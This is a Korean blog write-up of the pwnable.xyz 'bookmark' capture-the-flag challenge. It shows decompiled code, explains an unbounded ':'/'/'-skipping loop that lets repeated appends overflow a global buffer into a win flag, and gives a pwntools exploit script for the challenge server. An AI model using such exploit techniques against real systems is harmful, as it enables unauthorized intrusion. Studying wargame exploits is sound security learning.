tmxklab
[Pwnable.xyz] bookmark 본문
1. 문제
nc svc.pwnable.xyz 30021
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
(참고로, 변수 이름을 조금 수정했음)
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
init_login();
puts("Web bookmarks.");
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_long() )
{
case 0uLL:
return 0;
case 1uLL:
printf("Password: ");
if ( password == (int)read_long() )
goto_win = 1;
break;
case 2uLL:
create_url();
break;
case 3uLL:
printf("url: %s\n", bm);
break;
case 4uLL:
if ( goto_win )
{
puts("Not Implemented.");
puts("But here is a reward.");
win();
}
break;
default:
puts("Invalid");
break;
}
}
}
- init_log()이 호출되고 while루프가 돌면서 4가지 메뉴를 선택할 수 있다.
- 1번 메뉴는 password(전역변수)의 값이 입력 값과 동일하면 goto_win(전역변수)에 1로 세팅하는 기능을 가지며 이후에 4번 메뉴를 선택하면 win()를 호출할 수 있다.
- 2번 메뉴는 create_url()을 호출하고 3번 메뉴는 bm(전역 변수)에 있는 값을 출력한다.
3-2) init_login()
int init_login()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(1);
read(fd, &password, 8uLL);
return close(fd);
}
- 8bytes만큼 랜덤 값을 password에 저장한다.
3-3) create_url()
int create_url()
{
int v1; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
void *buf; // [rsp+18h] [rbp-8h]
printf("Secure or insecure: ");
read(0, bm, 9uLL);
if ( strncmp(bm, "http", 4uLL) )
return puts("Not a valid URL.");
if ( https == 's' )
v2 = (char *)&unk_202205;
else
v2 = &https;
while ( *v2 == ':' || *v2 == '/' )
++v2;
*v2 = 0;
printf("Size of url: ");
v1 = read_long();
if ( v1 < 0 || v1 > 127 )
return puts("Too large.");
buf = malloc(v1);
read(0, buf, v1);
return (unsigned __int64)strncat(bm, (const char *)buf, 0x100uLL);
}
- read()를 통해 bm(전역변수)에 9byte만큼 입력을 받는다.
- bm에 4byte만큼 검사하여 http가 존재하는지 확인하여 존재하지 않으면 return한다.
- https(전역변수)에 s가 들어갔는지 확인하여 존재하면 v2에 unk_202205의 주소 값을 저장하고 존재하지 않으면 v2에 https의 주소 값을 저장한다. 참고로 https는 bm으로부터 5byte 떨어진 곳이므로 아까 bm에서 입력을 받았을 때 만약 https를 입력으로 받는다면 https(전역변수)에는 s가 저장된다.
- v2에 ":" 또는 "/"가 존재하면 계속 v2의 포인터를 한 바이트씩 증가한다. 여기서 while루프를 시작할 때 v2는 unk_202205의 주소가 될 수 있고 https의 주소가 될 수 있다.
- 존재하지 않으면 while루프는 종료되고 v2가 가리키는 주소에 널 바이트를 넣는다.
- 사이즈(범위 1 ~ 126)에 대한 입력을 받아 malloc하여 청크의 주소를 buf에 저장하고 read()를 통해 v1사이즈 만큼의 입력 값을 buf에 저장한다.
- 마지막으로 bm에 buf의 입력 값을 0x100만큼 이어 붙인다.
전역 변수)
- bm : 0x202200
- https : 0x202204
- unk_202205 : 0x202205
- password : 0x202300
- goto_win : 0x202308
2. 접근방법
위 분석을 통해 간단하게 goto_win(전역변수)의 값이 0이 아니면 win()를 호출하여 쉘을 딸 수 있을 것이다. 그러기 위해서는 goto_win변수 전에 여러 개의 변수가 존재하므로 goto_win까지 overflow를 일으켜야 될 것 같다.
create_url()에서 보면 "http" 또는 "https"문자열이 저장된 bm에 buf에 들어있는 문자열을 이어 붙일 수 있지만 bm(0x202200)에서부터 goto_win(0x202308)까지 덮기에는 사이즈 제한이 걸려있다.
그러나 벗 B.U.T 아까 전에 create_url()에 빨간색으로 표시한 부분을 보면
while ( *v2 == ':' || *v2 == '/' )
++v2;
*v2 = 0;
v2에 ":" 또는 "/"문자가 존재하면 v2의 포인터를 계속 옮긴다. 만약에, 문자열에 bm은 http로 두고 buf에 "::::::"를 입력하면 strncat에 의해 "http:::::"문자열이 만들어지고 다음 create_url에서 저 whil루프로 인해 v2포인터는 "http"다음이 아니라 "http:::::"문자열의 끝을 가리키고 널 바이트를 넣을 것이다.
그렇다. 로직 버그 문제이다. while루프 조건문에서 경계값 검사를 제대로 안했기 때문에 bm부터 계속 이어붙이면 goto_win까지 overflow가 발생한다.
총 "http"문자열 포함 273(272 + 1)byte를 덮어야하며 <bm+256>에는 password값이 존재하는데 걍 덮어도 됨
3. 풀이
1) 익스코드
from pwn import *
#context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30021)
#gdb.attach(p)
p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(126))
#sleep(3)
p.send(":"*126)
p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(126))
#sleep(3)
p.send(":"*126)
p.sendlineafter("> ", str(2))
p.sendafter(": ", "http")
p.sendlineafter(": ", str(17))
#sleep(3)
p.send(":"*17)
p.sendlineafter("> ", str(4))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] catalog (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] PvP (0) | 2020.09.09 |
[Pwnable.xyz] rwsr (0) | 2020.09.09 |
[Pwnable.xyz] fclose (0) | 2020.09.09 |
[Pwnable.xyz] message (0) | 2020.09.09 |